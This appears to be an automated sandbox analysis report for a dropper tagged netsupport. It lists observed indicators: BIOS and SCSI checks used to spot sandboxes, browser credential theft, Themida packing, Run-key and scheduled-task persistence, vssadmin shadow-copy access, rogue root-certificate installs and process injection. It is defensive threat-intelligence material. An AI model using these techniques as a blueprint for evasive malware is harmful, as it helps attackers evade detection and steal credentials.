netsupport | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tysYHHFuyqfPb_Bo5WKoMyZv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tysYHHFuyqfPb_Bo5WKoMyZv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2EKdMqWsXDtWr569eSL7QJOe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2EKdMqWsXDtWr569eSL7QJOe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VbeF0fXpchnS2zy4MenWrIjs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VbeF0fXpchnS2zy4MenWrIjs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0xIgdIX5GabnpCnwZBsrKybf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0xIgdIX5GabnpCnwZBsrKybf.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Setup (20).exe

Loads dropped DLL 13 IoCs

pid	Process
2340	lJY0Q13dWPnBSlC_TyDXto_O.exe
4588	XdK1U2ArxYBOSlCWe_3Gk8UI.tmp
4588	XdK1U2ArxYBOSlCWe_3Gk8UI.tmp
5376	Cleaner Installation.exe
5496	Stats.tmp
5496	Stats.tmp
5616	Inlog.tmp
5616	Inlog.tmp
5800	Xifyvylobi.exe
5800	Xifyvylobi.exe
5876	anyname.exe
5876	anyname.exe
5140	MediaBurner2.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 12 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral13/files/0x000100000001ab89-132.dat	themida
behavioral13/files/0x000100000001ab91-145.dat	themida
behavioral13/files/0x000100000001ab93-148.dat	themida
behavioral13/files/0x000100000001ab91-193.dat	themida
behavioral13/files/0x000100000001aba5-199.dat	themida
behavioral13/memory/2724-246-0x0000000001210000-0x0000000001211000-memory.dmp	themida
behavioral13/memory/4000-254-0x0000000001060000-0x0000000001061000-memory.dmp	themida
behavioral13/memory/1344-269-0x00000000011D0000-0x00000000011D1000-memory.dmp	themida
behavioral13/memory/776-255-0x0000000000BF0000-0x0000000000BF1000-memory.dmp	themida
behavioral13/files/0x000100000001ab93-187.dat	themida
behavioral13/files/0x000100000001aba5-172.dat	themida
behavioral13/files/0x000100000001ab89-170.dat	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	6945193.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0xIgdIX5GabnpCnwZBsrKybf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VbeF0fXpchnS2zy4MenWrIjs.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2EKdMqWsXDtWr569eSL7QJOe.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tysYHHFuyqfPb_Bo5WKoMyZv.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 21 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
213	ipinfo.io
214	ipinfo.io
401	ipinfo.io
403	ipinfo.io
157	ipinfo.io
226	ipinfo.io
326	freegeoip.app
413	ip-api.com
549	geoiptool.com
571	geoiptool.com
594	freegeoip.app
29	ipinfo.io
150	ipinfo.io
285	freegeoip.app
593	freegeoip.app
30	ipinfo.io
133	ip-api.com
228	ipinfo.io
229	ipinfo.io
231	freegeoip.app
288	freegeoip.app

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2724	VbeF0fXpchnS2zy4MenWrIjs.exe
1344	tysYHHFuyqfPb_Bo5WKoMyZv.exe
776	2EKdMqWsXDtWr569eSL7QJOe.exe
4000	0xIgdIX5GabnpCnwZBsrKybf.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3520 set thread context of 4788	3520	AFpdFqLcq56TEhsbwArrT7ev.exe	203
PID 656 set thread context of 5104	656	jfiag3g_gg.exe	115
PID 2700 set thread context of 4312	2700	MicrosoftEdgeCP.exe	136

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	P4NA1wQW60cakGqL5S0Rh4_J.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe	Setup.exe
File created	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	P4NA1wQW60cakGqL5S0Rh4_J.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	P4NA1wQW60cakGqL5S0Rh4_J.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	P4NA1wQW60cakGqL5S0Rh4_J.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	P4NA1wQW60cakGqL5S0Rh4_J.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe	Setup.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 64 IoCs

pid	pid_target	Process	procid_target
3172	3048	WerFault.exe	107
4356	3048	WerFault.exe	107
5228	2844	WerFault.exe	79
5432	3048	WerFault.exe	107
2964	2844	WerFault.exe	79
5600	2844	WerFault.exe	79
5964	3904	WerFault.exe	83
5628	2844	WerFault.exe	79
3792	3904	WerFault.exe	83
5368	3048	WerFault.exe	107
6220	3904	WerFault.exe	83
4492	2844	WerFault.exe	79
4356	3048	WerFault.exe	107
6456	2844	WerFault.exe	79
6720	2844	WerFault.exe	79
6752	3904	WerFault.exe	83
6284	5288	WerFault.exe	139
580	5288	WerFault.exe	139
6528	3904	WerFault.exe	83
4760	5288	WerFault.exe	139
6400	3904	WerFault.exe	83
7444	5288	WerFault.exe	139
6724	5288	WerFault.exe	139
7804	2844	WerFault.exe	79
7956	3904	WerFault.exe	83
8004	5288	WerFault.exe	139
7028	5288	WerFault.exe	139
7496	2844	WerFault.exe	79
6880	4520	WerFault.exe	233
4396	3904	WerFault.exe	83
8116	2844	WerFault.exe	79
5508	5288	WerFault.exe	139
7564	4520	WerFault.exe	233
2180	5288	WerFault.exe	139
7140	4520	WerFault.exe	233
2700	2844	WerFault.exe	79
6728	4520	WerFault.exe	233
5880	2844	WerFault.exe	79
5844	5288	WerFault.exe	139
4948	6536	WerFault.exe	214
7388	5288	WerFault.exe	139
8200	6536	WerFault.exe	214
8424	4240	WerFault.exe	227
8560	6536	WerFault.exe	214
8652	4240	WerFault.exe	227
8792	6536	WerFault.exe	214
8880	6044	WerFault.exe	273
9032	8972	WerFault.exe	321
9100	6536	WerFault.exe	214
8364	6536	WerFault.exe	214
8100	6536	WerFault.exe	214
8896	6536	WerFault.exe	214
9180	6536	WerFault.exe	214
5048	6536	WerFault.exe	214
8332	6536	WerFault.exe	214
8356	7032	WerFault.exe	271
1060	3904	WerFault.exe	83
9388	3904	WerFault.exe	83
3288	6900	WerFault.exe	366
7544	10072	WerFault.exe	378
7216	10072	WerFault.exe	378
9540	10072	WerFault.exe	378
7280	10072	WerFault.exe	378
9992	10072	WerFault.exe	378

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	v7yxzb1MWo4HpaeTEaI4OpC9.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	v7yxzb1MWo4HpaeTEaI4OpC9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	SRUVwzQo1qZr_SxBASumcdL0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	SRUVwzQo1qZr_SxBASumcdL0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	SRUVwzQo1qZr_SxBASumcdL0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	v7yxzb1MWo4HpaeTEaI4OpC9.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
8680	schtasks.exe
10844	schtasks.exe
4732	schtasks.exe
6576	schtasks.exe

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
4440	vssadmin.exe
3204	vssadmin.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
4440	taskkill.exe
7060	taskkill.exe
6896	taskkill.exe
8488	taskkill.exe
8852	taskkill.exe
9636	taskkill.exe
9760	taskkill.exe
5188	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	Process not Found

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Setup (20).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Setup (20).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E	Cleaner Installation.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	Cleaner Installation.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
7176	PING.EXE
8340	PING.EXE
8576	PING.EXE

Script User-Agent 12 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	225	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	402	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	166	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	173	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	176	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	186	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	227	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	405	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	154	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	157	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	179	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	222	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3188	Setup (20).exe
3188	Setup (20).exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
3172	Setup.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4312	v7yxzb1MWo4HpaeTEaI4OpC9.exe
4312	v7yxzb1MWo4HpaeTEaI4OpC9.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe
4356	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3052	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4312	v7yxzb1MWo4HpaeTEaI4OpC9.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	2224	oD6Yb4I09o1o9JL1KvVK3zmX.exe
Token: SeDebugPrivilege	2340	lJY0Q13dWPnBSlC_TyDXto_O.exe
Token: SeDebugPrivilege	1160	11111.exe
Token: SeRestorePrivilege	3172	Setup.exe
Token: SeBackupPrivilege	3172	Setup.exe
Token: SeDebugPrivilege	5104	DMkoF6DFrxRu7CLzg3AOtxiC.exe
Token: SeDebugPrivilege	3172	Setup.exe
Token: SeDebugPrivilege	2724	VbeF0fXpchnS2zy4MenWrIjs.exe
Token: SeDebugPrivilege	1520	PCO6muiacDYPFA8GUzuA_wXW.exe
Token: SeDebugPrivilege	4788	AFpdFqLcq56TEhsbwArrT7ev.exe
Token: SeDebugPrivilege	4000	0xIgdIX5GabnpCnwZBsrKybf.exe
Token: SeDebugPrivilege	776	2EKdMqWsXDtWr569eSL7QJOe.exe
Token: SeDebugPrivilege	4356	WerFault.exe
Token: SeDebugPrivilege	4204	3351322.exe
Token: SeDebugPrivilege	4556	8043640.exe
Token: SeDebugPrivilege	4356	WerFault.exe
Token: SeDebugPrivilege	5368	WerFault.exe
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeDebugPrivilege	1344	tysYHHFuyqfPb_Bo5WKoMyZv.exe
Token: SeDebugPrivilege	5188	taskkill.exe
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeDebugPrivilege	1124	7503683.exe
Token: SeDebugPrivilege	5228	zhaoy-game.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
4588	XdK1U2ArxYBOSlCWe_3Gk8UI.tmp
5376	Cleaner Installation.exe
3052	Process not Found
3052	Process not Found
5616	Inlog.tmp
5800	Xifyvylobi.exe
5876	anyname.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 3904	3188	Setup (20).exe	83
PID 3188 wrote to memory of 3904	3188	Setup (20).exe	83
PID 3188 wrote to memory of 3904	3188	Setup (20).exe	83
PID 3188 wrote to memory of 2224	3188	Setup (20).exe	82
PID 3188 wrote to memory of 2224	3188	Setup (20).exe	82
PID 3188 wrote to memory of 2224	3188	Setup (20).exe	82
PID 3188 wrote to memory of 2700	3188	Setup (20).exe	81
PID 3188 wrote to memory of 2700	3188	Setup (20).exe	81
PID 3188 wrote to memory of 2700	3188	Setup (20).exe	81
PID 3188 wrote to memory of 2740	3188	Setup (20).exe	80
PID 3188 wrote to memory of 2740	3188	Setup (20).exe	80
PID 3188 wrote to memory of 2844	3188	Setup (20).exe	79
PID 3188 wrote to memory of 2844	3188	Setup (20).exe	79
PID 3188 wrote to memory of 2844	3188	Setup (20).exe	79
PID 3188 wrote to memory of 2724	3188	Setup (20).exe	84
PID 3188 wrote to memory of 2724	3188	Setup (20).exe	84
PID 3188 wrote to memory of 2724	3188	Setup (20).exe	84
PID 3188 wrote to memory of 3520	3188	Setup (20).exe	89
PID 3188 wrote to memory of 3520	3188	Setup (20).exe	89
PID 3188 wrote to memory of 3520	3188	Setup (20).exe	89
PID 3188 wrote to memory of 1160	3188	Setup (20).exe	88
PID 3188 wrote to memory of 1160	3188	Setup (20).exe	88
PID 3188 wrote to memory of 656	3188	Setup (20).exe	86
PID 3188 wrote to memory of 656	3188	Setup (20).exe	86
PID 3188 wrote to memory of 656	3188	Setup (20).exe	86
PID 3188 wrote to memory of 2232	3188	Setup (20).exe	90
PID 3188 wrote to memory of 2232	3188	Setup (20).exe	90
PID 3188 wrote to memory of 2232	3188	Setup (20).exe	90
PID 3188 wrote to memory of 1344	3188	Setup (20).exe	91
PID 3188 wrote to memory of 1344	3188	Setup (20).exe	91
PID 3188 wrote to memory of 1344	3188	Setup (20).exe	91
PID 3188 wrote to memory of 1520	3188	Setup (20).exe	94
PID 3188 wrote to memory of 1520	3188	Setup (20).exe	94
PID 3188 wrote to memory of 1520	3188	Setup (20).exe	94
PID 3188 wrote to memory of 776	3188	Setup (20).exe	92
PID 3188 wrote to memory of 776	3188	Setup (20).exe	92
PID 3188 wrote to memory of 776	3188	Setup (20).exe	92
PID 3188 wrote to memory of 1516	3188	Setup (20).exe	100
PID 3188 wrote to memory of 1516	3188	Setup (20).exe	100
PID 3188 wrote to memory of 1516	3188	Setup (20).exe	100
PID 3188 wrote to memory of 2340	3188	Setup (20).exe	97
PID 3188 wrote to memory of 2340	3188	Setup (20).exe	97
PID 3188 wrote to memory of 3640	3188	Setup (20).exe	108
PID 3188 wrote to memory of 3640	3188	Setup (20).exe	108
PID 3188 wrote to memory of 3640	3188	Setup (20).exe	108
PID 3188 wrote to memory of 204	3188	Setup (20).exe	105
PID 3188 wrote to memory of 204	3188	Setup (20).exe	105
PID 3188 wrote to memory of 204	3188	Setup (20).exe	105
PID 3188 wrote to memory of 2756	3188	Setup (20).exe	102
PID 3188 wrote to memory of 2756	3188	Setup (20).exe	102
PID 3188 wrote to memory of 2756	3188	Setup (20).exe	102
PID 3188 wrote to memory of 4000	3188	Setup (20).exe	101
PID 3188 wrote to memory of 4000	3188	Setup (20).exe	101
PID 3188 wrote to memory of 4000	3188	Setup (20).exe	101
PID 3188 wrote to memory of 3048	3188	Setup (20).exe	107
PID 3188 wrote to memory of 3048	3188	Setup (20).exe	107
PID 3188 wrote to memory of 3048	3188	Setup (20).exe	107
PID 3188 wrote to memory of 3348	3188	Setup (20).exe	106
PID 3188 wrote to memory of 3348	3188	Setup (20).exe	106
